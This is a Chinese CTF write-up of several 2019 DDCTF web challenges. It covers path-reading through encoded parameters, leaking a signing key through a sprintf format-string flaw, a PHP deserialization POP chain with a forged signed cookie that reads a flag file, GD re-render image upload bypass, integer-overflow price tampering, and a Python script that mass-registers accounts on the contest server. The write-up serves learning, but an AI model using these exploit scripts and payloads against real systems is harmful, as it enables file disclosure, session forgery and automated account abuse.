2019DDCTF-Writeup

滴~



base64->base64->hex
?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 = ?jpg=666C61672E6A7067 =flag.php
尝试包含index.php

1
/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

base64解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

f1agconfigddctf.php = TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

WEB 签到题

考点:

1
sprintf()格式化字符串漏洞


发现调用了Auth.php,并且有个didictf_username参数

访问Auth.php

当加上didictf_username = admin这个头

访问 app/fL2XID2i0Cdh.php

其中app/Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Class Application {
var $path = ''; //定义一个公共变量$path


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg, //创建一个php数组,其中从形参获取两个值转化为数组值。
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json'); //定义http头json内容类型
echo $ret; //显示数据加密后的json数据

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) { //传入一个变量$path
$path = trim($path); //删除$path首位空
$path=str_replace('../','',$path); // ../ 替换为 空
$path=str_replace('..\\','',$path); // ..\\ 替换为 空
return $path; //返回$path
}

public function __destruct() {
if(empty($this->path)) { // 如果$path为空,就直接结束了
exit();
}else{
$path = $this->sanitizepath($this->path); // 不为空就调用sanitizepath()做替换
if(strlen($path) !== 18) { //如果处理过的$path长度不严格等于18,就跳出
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
} // 把$path读取出来以后传入response()
exit();
}
}

app/Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
//定义了一堆类变量


public function index()
{
if(parent::auth()) { //HTTP_DIDICTF_USERNAME: admin时才能继续执行
$this->get_key(); //调用get_key()
if($this->session_read()) { //如果session_read()返回为TRUE就进入下面三行
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{//如果session_read()返回为FLASE,就调用session_create()
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() { // 获取eancrykey,hint: ../config/flag.txt
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

Application.php里面是一个Application类,有一个为空的公共变量$path,三个公共方法response()、auth()和__destruct(),还有一个私有方法sanitizepath()。

response()方法能把传入的两个数据用json格式化后打印出来,auth()方法进行访问者的权限校验,刚开始的didictf_username就是在此进行校验,还有一个__destruct(),这是析构方法,是在方法中最后一定会执行的函数,这个方法里面的意思就是:如果$path不为空,就把$path用sanitizepath()过滤一下,去除一次../和..\\,然后过滤后的路径的长度如果等于18,就进行读取,再把内容丢给response()方法进行显示。

接下来分析session.php
生成一个 32 位的随机session_id字符串,然后$userdata就是最后 Session 中的数据。里面包含了我们的 IP,浏览器 UA 等信息。最后会对这个存有信息的$userdata数据进行 PHP 序列化。同时会把序列化的结果,与密钥$eancrykey拼接,做一次 md5 后拼接在结果后面,起到签名防伪造的效果。
最后将整个结果以 Cookie 的形式存在用户本地。加了个$eancrykey做 md5,这确实是个不错的本地存 Cookie 的方法啊

读取的过程其实也就是相反的。首先是检测有没有名为ddctf_id的 Cookie,没有的话就返回FALSE。如果有的话,截取后面 32 位,即那段 md5 的签名。再截取前面的内容,即数据正文。用加密的方式检验一下 Cookie 有没有被篡改。没有的话,就对数据进行 PHP 反序列化。检查数据中的session_id ip_address ip_address元素是否存在。
然后判断一下是否传入了名为nickname的 POST 参数,如果有的话,就格式化字符串输出出来。后面还对ip_address和ip_address做了检验。

这里我们传入修改后的 Cookie,都需要用$eancrykey进行检验,因此得想办法得到$eancrykey的值,这样就可以伪造 Cookie 了。
其中在get_key() 注释写到 flag和eanccrykey在同一个文件夹
因此得想办法得到$eancrykey的值,这样就可以伪造 Cookie 了。

在传入nickname POST 参数时,十分违和地出现了个$eancrykey。这里把$_POST["nickname"]和$this->eancrykey放到了同一个数组中,使用foreach循环后再使用了格式化字符串sprintf()。这里想到了一个很机智的方法:我们只需要 POST 请求app/Session.php,传入nickname的值为%s,第一次格式化字符串时,会把”Welcome my friend %s”中的%s换成%s,第二就会把%s换成$this->eancrykey,这样我们就得到$eancrykey了。

注意,格式化字符串的代码是在session_read()方法里的,因此我们需要先空白请求一次,拿到一个 Cookie,再带着这个 Cookie 请求,这样才能进入session_read()方法。

解下来获取$eancrykey

注意: 将get改为post,同时加上Content-Type: application/x-www-form-urlencoded
拿到$eancrykey为EzblrbNS

接下来进行反序列化

这里给了个 hint//eancrykey and flag under the folder,因此我们需要想办法读取../config/文件夹下的 flag。在Application类中的析构函数中,有一个file_get_contents()可供我们读取文件。其中的参数$path来自于Application类中的$path属性。而$path属性的初始值是空的。根据这里含有魔术方法__destruct(),并且后面有unserialize()函数,想到我们尝试可以通过 PHP 反序列化来修改$path的值。

构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

Class Application {
var $path = '..././config/flag.txt'; // 需要修改的值
}

$eancrykey = 'EzblrbNS'; // 设置 $eancrykey,用于签 Cookie

$userdata = array(
'session_id' => new Application(), // 在这里触发反序列化
'ip_address' => 'xxx.xxx.xxx.xxx',
'user_agent' => 'ua',
'user_data' => ''
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);

echo($cookiedata);

ddctf_id = a:4:{s:10:”session_id”;O:11:”Application”:1:{s:4:”path”;s:21:”…/./config/flag.txt”;}s:10:”ip_address”;s:15:”xxx.xxx.xxx.xxx”;s:10:”user_agent”;s:2:”ua”;s:9:”user_data”;s:0:””;}4d7f704737a8721321d75d580eea9cb2

编码提交,得到flag

upload img

考点 : GD库二次渲染

上传一张图片,然后下载下来,发现和原来的图片发生了变化,上传正常图片都被处理过了
需要注意的是无论上传什么图片都会被转化为 jpg,所以使用 jpg 来构造更好。
直接脚本
https://github.com/BlackFan/jpg_payload

Usage: php jpg_payload.php <jpg_name.jpg>
用这个工具生成可以GD渲染处理后,依然能保留字符串的jpg,在py源码中把字符串改为phpinfo(),然后生成。

homebrew event loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# flag获取函数
def FLAG()

# 以下三个函数负责对参数进行解析。
# 1. 添加log,并将参数加入队列
def trigger_event(event)

# 2. 工具函数,获取prefix与postfix之间的值
def get_mid_str(haystack, prefix, postfix=None):

# 3. 从队列中取出函数,并分析后,进行执行。(稍后进行详细分析)
def execute_event_loop()

# 网站入口点
def entry_point()

# 页面渲染,三个页面:index/shop/reset
def view_handler()

# 下载源码
def index_handler(args)

# 增加钻石
def buy_handler(args)

# 计算价钱,进行减钱
def consume_point_function(args)

# 输出flag
def show_flag_function(args)
def get_flag_handler(args)

大吉大利,今晚吃鸡

尝试sql注入 无果

注册账号 登入 点击购买,支付 发现余额不足,查看页面 发现请求了这个页面

开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296

进到游戏之后,可以通过提交正确id与ticket来移除对手,没什么好办法,经过一番尝试了解到id与ticket是固定对应的关系,只有写脚本通过暴力注册获取尽可能多的id,然后一一删除

然后批量注册小号批量买入场券批量拿id和token给大号淘汰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import requests
import time
for i in range(0,1000):
print(i)
url1 = "http://117.51.147.155:5050/ctf/api/register?name=evoa0{0}&password=xxxxxxxxxxxx".format(str(i))
url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=42949672961"
url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="
url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?ticket={0}&id={1}"
rep1 = requests.get(url1)

cook1name = rep1.cookies["user_name"]
cook1sess = rep1.cookies["REVEL_SESSION"]
urlcookies={"user_name":cook1name,"REVEL_SESSION":cook1sess}

rep2 = requests.get(url2,cookies=urlcookies)
billid = rep2.json()['data'][0]["bill_id"]

rep3 = requests.get(url3+billid,cookies=urlcookies)
userid = rep3.json()['data'][0]["your_id"]
userticket = rep3.json()['data'][0]["your_ticket"]
time.sleep(1)
rep4 = requests.get(url4.format(userticket,str(userid)),cookies={"user_name":"evoA002","REVEL_SESSION":"675dc6a259890db618c598e0cd9f9802"})
print(url4.format(userticket,str(userid)))
with open("chicken.txt","a") as txt:
txt.write(str(userid) + ":" +userticket)
txt.write("\n")